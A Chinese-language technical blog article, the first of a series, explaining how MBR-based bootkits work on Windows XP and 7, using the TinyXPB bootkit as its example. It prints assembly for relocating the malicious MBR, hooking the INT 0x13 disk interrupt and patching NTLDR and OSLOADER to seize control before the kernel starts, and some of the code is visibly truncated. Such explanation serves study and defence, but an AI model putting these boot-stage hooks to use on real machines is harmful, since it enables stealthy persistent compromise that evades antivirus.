叙Windows平台下基于MBR和UEFI的bootkit(一)--以MBR为例
安全的对抗首先在权限方面,权限高的进程对权限低的权限就是就是降维打击,无往不利。当权限相同时,启动得早便为王。所谓的bootkit也就是基于这个思路设计的一种复杂病毒。它优先于Windows系统启动,自然也就优先于杀毒软件启动的时间。鉴于国内对bootkit的文章不多,本文想介绍一下bootkit的具体技术细节。为了保证内容的梯度和完整度,其中基于MBR的rootkit分别以WindowsXp和Win7为例,而基于UEFI的bootkit则可以在Windows7以上版本(7,8,10)的运行。
一:基于MBR的bootkit
1.1:windowsXP的系统加载流程
运行流程如下图:
BIOS:BIOS代码存在于主板上的EEPROM(Electronically Erased Programmable Read Only Memory)芯片中。大多数PC都会执行一些称为“Shadow”的操作,它们从RAM复制并运行BIOS代码(地址为0x000F0000),RAM比ROM快,因此可以加快启动速度。BIOS将MBR从引导设备的第一个扇区读入地址0x7C00。并提供一系列低级功能,称为BIOS中断,可通过“int”指令访问实模式代码。
MBR(Master Boot Record):MBR是引导设备的绝对第一扇区,大小为1扇区(512字节),此代码由BIOS加载到0x7C00,然后在实模式下执行。然而,MBR的大部分是代码; MBR内部是一个表(实际主引导记录),该表由4 x 16字节条目组成,并从偏移量0x1BE开始进入MBR。一旦执行,代码将查看分区表,找到活动分区,然后将分区的第一个扇区(VBR)读入0x7C00然后执行它。 由于MBR将VBR读入0x7C00,因此它将在事先重新定位,以避免覆盖自身。 MBR的最后2个字节是引导签名(0x55,0xAA)。读写MBR的代码很简单,如下:
HRESULT GetSigned(CAtlStringW strPhysicalDrive, PUCHAR ulSigned) {
HRESULT hr = S_OK;
HANDLE hDevice;
MBR Mbr = { };
do {
hDevice = CreateFileW(strPhysicalDrive.GetBuffer(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, , NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
hr = S_FALSE;
break;
}
DWORD dwRead = ;
if (!ReadFile(hDevice, (LPVOID)&Mbr, sizeof(MBR), &dwRead, NULL)) {
hr = S_FALSE;
break;
}
if (memcpy_s((void*)ulSigned, sizeof(ulSigned) / sizeof(ulSigned[]), (void*)Mbr.ulSinged, sizeof(Mbr.ulSinged) / sizeof(Mbr.ulSinged[]))) {
hr = S_FALSE;
break;
}
} while ();
CloseHandle(hDevice); /*
for (int i = 0; i < 4; i++) {
printf("%02x", ulSigned[i]);
}
*/
return hr;
}
VBR(Volume Boot Record):VBR是可引导分区的第一个扇区,就像MBR一样,它的大小为1扇区(512字节)。它由MBR在地址0x7C00(实模式)下加载并执行。 VBR的前两个字节是跳转指令,跳过Bios参数块(BPB)并进入主代码。在VBR的前2个字节之后是BPB,此块包含有关驱动程序和分区的一些信息(主文件表的位置,驱动器的磁盘/磁头/扇区设置,卷序列号等)。除了从BPB收集一些信息之外,VBR没有做太多其他事情,然后将分区的前16个扇区读入内存(通常从地址0xD000开始)。 •分区的前16个扇区称为$BOOT,尽管所有16个扇区都被加载到内存中,但只使用了7个扇区(1个用于VBR,6个用于IPL)。
IPL(Inital Program Loader):IPL最大可达15个扇区(7680字节),位于磁盘上的VBR(分区的扇区1-15)之后,此代码从地址0xD000开始,然后在实模式下运行。 Windows XP IPL仅使用15个已分配扇区中的6个。 IPL的工作是在磁盘上定位NTDLR,然后将其读入内存。 IPL将始终读取并执行地址0x20000处的NTLDR。
NTLDR(New Technology Loader):NTLDR是一个“实际”文件,驻留在C:\NTLDR并具有属性FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM(MBR,VBR和IPL无法从文件系统访问),它在地址0x20000处执行。TLDR由2个主要部分组成:1.NTLDR - 16位实模式和保护模式代码的混合,可在两种模式之间切换,以便使用BIOS中断。 2.OSLOADER.exe - 一个PE文件(编译为驱动程序),由32位代码组成,在保护模式下执行。NTLDR将设置GDT和IDT,然后进入保护模式(分页仍未设置)。OSLOADER.exe从NTLDR中提取并加载其入口点0x401000,这是因为OSLOADER是PE文件,如果位于0x401000,则不需要重定位表。NTLDR调用0x401000(OSLOADER入口点)。
OSLoader.exe:OSLOADER是一个PE文件,它被编译为内核驱动程序,但它有点像普通文件而不是驱动程序,因为内核尚未加载。 虽然OSLOADER是PE文件,但PE头不会加载到内存中,只会加载到代码中。OSLOADER中的代码做了很多,所以我只强调主要内容:
i:启用分页并设置页表。
ii:使用NTDETECT检测是否存在运行Windows所需的硬件。
iii:解析boot.ini以获取启动设置,如果是双启动,请询问用户他们希望加载哪个操作系统。
iV:加载启动驱动程序。
V:在调用KiSystemStartup(ntoskrnl入口点)之前,找到ntoskrnl.exe并将其加载到内存中。
ntoskrnl.exe:Ntoskrnl是位于C:\Windows\System32\ntoskrnl.exe的PE文件,它将由OSLoader.exe加载(加载地址将在 service pack地址中变化),而ntoskrnl.exe的入口点是KiSystemStartUp,它负责初始化内核并启动操作系统,然后执行由OSLoader.exe架子啊的启动驱动程序。当内核初始化完成后,操作系统将准备好登陆。
以上便是整个系统启动的调用流程。
1.2 :根据 tinyPXB讲解基于MBR的bootkit的运行机理
bootkit在tinyPXB中分为四个部分:1.MBR-负责加载其它三个组件 2.Loader16.bin bootkit的实模式组件 3.Loader32.bin bookit的32位保护模式组件 4.Driver32.sys 加载的驱动,这个不在本文的讲解范围。
1.2.1 MBR代码流程
bootkit MBR最初将在0x7C00加载并执行;一旦执行它就会将自身复制到地址0x80000并从那里执行。代码如下:
;=============================================================================================
;Move this code from 0x7C00 to 0x80000 then call "realstart" at new address
;=============================================================================================
start:
cld
push 0x00
pop ds
mov sp, 0x7C00 ;Stack grows downwards from address 0x7C00
mov si, sp
mov di, 0x00
mov cx, 0x100
push 0x8000
pop es
rep movsw ;Copy code from DS:SI to ES:DI (0000:7C00 to 8000:0000)
push 0x8000 ;Segment to retf to
push realstart ;Offset to retf to
retf ;Jump to code at new address
;=============================================================================================
;Use int 0x13 to read loader16, loader32 and driver32 from the floppy disk, we have to use
;normal read instead of extended read because it doesnt seem to work with floppy disks
;=============================================================================================
realstart:
push es
pop ds call LoadLdrs
test ax, ax
je Failed push 0x8020
push 0x0000
retf ;Jump to loader16 (0x80200) Failed:
jmp $ ;Infinite loop
ret
一旦到达0x8000,MBR将解析软盘的12位文件分配表(FAT),寻找LOADER16BIN,LOADER32BIN和DRIVER32SYS。 MBR将使用INT 0x13,AH = 2(标准磁盘读取)BIOS中断将磁盘中的文件读入内存。我们不能在软盘上使用扩展读取,因此MBR还会将逻辑块地址转换为Cylinder-Head-Sector值。 Loader16将加载到地址0x80200,Loader32将加载到地址0x80400,driver32将加载到地址0x8100。一旦MBR完成加载bootkit组件,它将执行转移到0x80200(Loader16)。
1.2.2 Loader16
Loader16将从地址0x80200执行,并将完全在实模式下执行。
代码将负责挂钩INT 0x13(磁盘读取中断)和处理调用,以及挂钩NTLDR中的代码和OSLOADER.exe的入口点。
INT 0x13是BIOS提供的磁盘服务中断。 MBR,VBR,IPL和NTLDR将使用它来读取磁盘中的扇区以及其他内容。挂钩int 0x13代码如下:
start:
push cs ;Set up segments
pop ds
push cs
pop es mov ah, 0x42 ;Extended Disk Read
mov dl, 0x80 ;Hard Disk 1
mov si, DAP1 ;Pointer to Data Access Packet
int 0x13
jc StartFailed mov ax, [ss:0x4C]
mov word [Old_Int13+1], ax ;Store original int 0x13 offset
mov ax, [ss:0x4E]
mov word [Old_Int13+3], ax ;Store original int 0x13 segment mov word [ss:0x4C], Int13Handler ;Our int 0x13 handler offset
mov word [ss:0x4E], 0x8020 ;Our code segment push 0x00 ;Reset es and ds segment
pop es
push es
pop ds push es
push 0x7C00
StartFailed:
通过挂钩磁盘中断,我们可以扫描MBR,VBR,IPL或NTLDR读取的每个扇区。我们通过搜索特征码(FC F3 67 66 A5 66 8B 4E 0C 66 83 E1 03,此代码 NTLDR使用它将OSLOADER加载到内存中),当IPL使用INT 0x13将NTLDR读入内存时,将找到特征码并在“rep movsw”之后进行HOOK。(在OSLOADER加载到0x401000之后)。Hook OSloader代码如下:
HookMoveOSLoader:
push ds
push fs
push 0x8020
pop fs
push 0x00
pop ds
mov dx, word [fs:Old_Int13+1] ;Store original int 0x13 offset into dx
mov [0x4C], dx ;Restore int 0x13 offset
mov dx, word [fs:Old_Int13+3] ;Store original int 0x13 segment into dx
mov [0x4E], dx ;Restore int 0x13 segment
xor edi, edi ;Make sure the high word of edi is null
mov di, ax ;ax still contains the address signature was found at
add di, 0x05 ;We hook 5 bytes into the signature (just after rep movsw
push es
pop fs
mov byte [fs:di+0], 0x9A ;Far call
mov word [fs:di+1], 0x600 ;Jump to address 0x00000600
mov word [fs:di+3], 0x0008 ;GDT descriptor 0x01 (32-bit code segment base: 0x00000000
mov di, 0x600 ;We store the 32-bit relative jump at 0x600
mov byte [di], 0xE9 ;relative 32-bit jump to HookOSLoader
mov dword [di+1], (0x7FDFB) ;Offset to loader32 (0x605 + 0x7FFFB = 0x80400)
pop fs
pop ds
retn
所有代码都是从我们的软盘运行的。 Loader16会将真正的Windows MBR从硬盘驱动器读入0x7C00(就像BIOS一样),挂起INT 0x13,然后执行windows MBR。
1.2.3 Loader32
Loader16中,我们在NTLDR中进行了HOOK,当运行到这个HOOk的时候,我们将删除HOOK,然后扫描OSLoder对其进行挂钩,扫描一下特征码( 51 6A 01 52 50 6A 05 E8),这段代码后面跟随的是BlAllocateDescriptor的地址,这个函数用于分配内存,当Loader尝试调用BlAllocateDescriptor时,它将运行Hook代码,现在让系统继续运行。一旦NTLDR完成并且OSLOADER开始执行,它将调用被我们Hook住的BlAllocateDescriptor。由于BlAllocateDescriptor已经可以使用了,删除钩子并对BlAllocateDescriptor进行3次调用。
i:第一个调用是分配一些内存来移动Loader32,这是因为当启用分页时,我们当前执行的内存将被分页。
ii:第二个调用是为我们的驱动程序分配一些内存来运行,因为存储驱动程序PE文件的地址也将被分页,我们现在也可以将驱动程序的PE文件映射到内存中,准备执行。
iii:最后一次调用调用没有被Hook情况下调用分配的内存。就在我们的BlAllocateDescriptor将执行转移回OSLOADER之前,我们将把loader32重新定位到分配的内存.
然后在OSLOADER中执行另一个字节扫描。•这次我们扫描以下字节:8B F0 85 F6 74 11 68 4C 23这些对应于指令:
mov esi,eax
test esi,esi
jz 0x11
push 234Ch
OSLOADER使用这些指令之后的代码直接调用在ntoskrnl中的KiSystemStartup,就在“mov esi,eax”之前是一个push,然后是一个调用,push将把“LOADER_PARAMETER_BLOCK”推送到堆栈,我们将把调用的地址改为指向我们的代码。 •KiSystemStartup挂钩将指向我们复制到已分配内存的loader32中的代码(0x80000000范围内的某处)。
现在我们将控制权返回给OSLOADER,以便继续加载操作系统。加载操作系统之后,由于之前已经对系统做了挂钩。所以我们可以你在加载系统的第一时间获取控制流,从而可以对系统为所欲为。
1.3:windows7的系统加载流程
1:首先,MBR加载NT Boot Sector,NT boot Sector可以读取FAT32和NTFS,它将读取在 system32或者system32/boot目录下的BOOTMGR.exe函数。
2:bootmgr.exe有一个16字节的校验头,当检验成功后,将将其映射到0x40000的位置,并以BmMain函数开始。
3:然后BootMgr.exe检查休眠状态。一但发现休眠,则加载winresume.exe并继续运行。
4:BootMgr.exe加载BCD数据库,并且遍历boot入口。
5:选择了Boot入口后,使用BmLanuchBootEntry函数进行加载。然后CPU进入64位模式并跳转到winload.exe。
6:winload.exe首先加载system的hive文件,然后加载ntoskrnl.exe,HAL.dll,依赖和关键驱动
7:创建PSLoadModuleList和LOADER_PARAMETER_BLOCK结构,其中包含了内核映射和选项列表等信息
8:然后使用OslArchTranslateToKernel函数进行内核(ntoskrnol.exe)的初始化流程。
总体流程如图所示:
其中内核初始化一共分为两步,这于本篇内容没有太大关系,略过。
二:vbookit2.0原理
windows7 x64上,我们需要在不被Patch Guard和驱动签名检测的前提下,过掉所有的安全功能。所以我们只能在内存中打补丁。和tinyXp一样,文件加载的时候打补丁,一步步前进,直到到达内核为止。原理基本同tinyXP,所以不多解释,具体可参考源码。
叙Windows平台下基于MBR和UEFI的bootkit(一)--以MBR为例的更多相关文章
- windows平台下基于QT和OpenCV搭建图像处理平台
在之前的博客中,已经分别比较详细地阐述了"windows平台下基于VS和OpenCV"以及"Linux平台下基于QT和OpenCV"搭建图像处理框架,并 ...
- windows平台下基于VisualStudio的Clang安装和配置
LLVM 是一个开源的编译器架构,它已经被成功应用到多个应用领域.Clang是 LLVM 的一个编译器前端,它目前支持 C, C++, Objective-C 以及 Objective-C++ 等编程 ...
- HttpServer:一款Windows平台下基于IOCP模型的高并发轻量级web服务器
HttpServer的特点1.完全采用IOCP模型,实现真正的异步IO,高并发.高可靠: 2.支持4G以上文件下载: 3.支持断点续传: 4.轻量级,体积小,服务器文件仅200多K,无任何依赖库: 5 ...
- Windows 环境下基于 nginx 的本地 PyPI 源
Windows 环境下基于 nginx 的本地 PyPI 源的搭建: 1.登录 nginx 官网,下载安装包
- MongoDB学习总结(一) —— Windows平台下安装
> 基本概念 MongoDB是一个基于分布式文件存储的开源数据库系统,皆在为WEB应用提供可扩展的高性能数据存储解决方案.MongoDB将数据存储为一个文档,数据结构由键值key=>val ...
- Django 1.6在Windows平台下的配置
Django 1.6 在Windows平台下的配置 前言 最近两天研究了下Django1.6在Windows平台中的配置安装,服务器采用Apache.期间遇到过许多新手所遇到的各种问题,也算是一种宝贵 ...
- 在Windows平台下安装与配置Memcached及C#使用方法
1.在Windows下安装Memcached 资料来源:http://www.jb51.net/article/30334.htm 在Windows平台下安装与配置Memcached的方法,Memca ...
- Windows平台下如何使用node.js显示系统盘符
本文地址: http://www.cnblogs.com/blackmanba/articles/windows-nodejs-show-system-letter.html或者http://fork ...
- Windows平台下利用APM来做负载均衡方案 - 负载均衡(下)
概述 我们在上一篇Windows平台分布式架构实践 - 负载均衡中讨论了Windows平台下通过NLB(Network Load Balancer) 来实现网站的负载均衡,并且通过压力测试演示了它的效 ...
随机推荐
- Spark的Shuffle过程介绍
Spark的Shuffle过程介绍 Shuffle Writer Spark丰富了任务类型,有些任务之间数据流转不需要通过Shuffle,但是有些任务之间还是需要通过Shuffle来传递数据,比如wi ...
- Git版本回退的最佳方式
使用git开发的过程中,存在误提交的时候怎么办呢?不用慌张,强大的git提供了两种版本回退的方式,可以让你恢复提交之前的内容: 方式一:reset(不推荐) 通过reset的方式,把head指针指向之 ...
- Linux中关机,重启,注销命令
关机: shutdown -h now #立刻关机重启,工作中常用 shutdown -h +1 #1分钟后关机 init 0 halt #立即停 ...
- HTML语意化
1.什么是HTML语义化? 根据内容的结构化(内容语义化),选择合适的标签(代码语义化)便于开发者阅读.写出更优雅的代码的同时让浏览器的爬虫和机器很好地解析. 2.为什么要语义化? 为了在没有CSS ...
- vue.js将一个对象的所有属性作为prop进行传递
1.方法一:使用不带参数的v-bind写法 <div id="app"> <child v-bind="todo"></child ...
- 【JDK】JDK7与JDK8环境共存与切换:先安装jdk7,配置好环境变量后再安装jdk8
1.先安装JDK7 下载jdk-7u79-windows-i586.exe,安装后配置好环境变量JAVA_HOME,CLASSPATH,PATH java -version javac 指令都正常 2 ...
- 安全测试===sqlmap
本文转自:https://www.secpulse.com/archives/4213.html 鉴于很多新手对sqlmap的用法不是很熟悉 很多常用sqlmap的也不一定完全会用sqlmap 特 ...
- WoW[www]
WoWBeez https://github.com/StealtheeEU/WoWBeez https://github.com/mtucker6784/Elysium https://github ...
- 项目评审ppt的纲要
1.prd不能模糊,产品的问题全部明确 2.收益在哪里 3.设计体现业务4.怎样保证数据的前后协作5.异常如何处理6.技术解决的痛点7.对外部依赖8.性能指标预期(响应时间)9.
- 2017多校第7场 HDU 6128 Inverse of sum 推公式或者二次剩余
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6128 题意:给你n个数,问你有多少对i,j,满足i<j,并且1/(ai+aj)=1/ai+1/a ...